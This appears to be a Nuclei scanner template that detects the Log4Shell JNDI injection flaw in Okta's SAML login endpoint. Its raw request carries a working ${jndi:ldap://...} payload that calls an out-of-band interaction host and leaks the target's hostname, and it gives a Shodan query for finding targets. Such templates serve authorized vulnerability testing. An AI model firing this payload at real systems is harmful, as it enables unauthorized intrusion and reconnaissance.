okta-log4j-rce: Okta - Remote Code Execution (Apache Log4j)

id: okta-log4j-rce

info:
  name: Okta - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    Okta is susceptible to Log4j JNDI remote code execution. Okta provides cloud software that helps companies manage and secure user authentication into applications, and for developers to build identity controls into applications, website web services and devices.
  reference:
    - https://sec.okta.com/articles/2021/12/log4shell
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    max-request: 1
    shodan-query: title:"Okta"
  tags: cve,cve2021,rce,jndi,log4j,okta,oast,kev,vuln
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"

http:
  - raw:
      - |
        GET /login/SAML?=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output

    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output

      - type: regex
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
        part: interactsh_request

      - type: regex
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
        part: interactsh_request
# digest: 4a0a0047304502201c69c54d424751d30001057592d716bec1b10052fc5a7a95265fa7013c87987e022100a43dff5f62a26bc675978978fd58082f55c6bd890cedf7767d8c14dcdd692a12:922c64590222798bb761d5b6d8e72950

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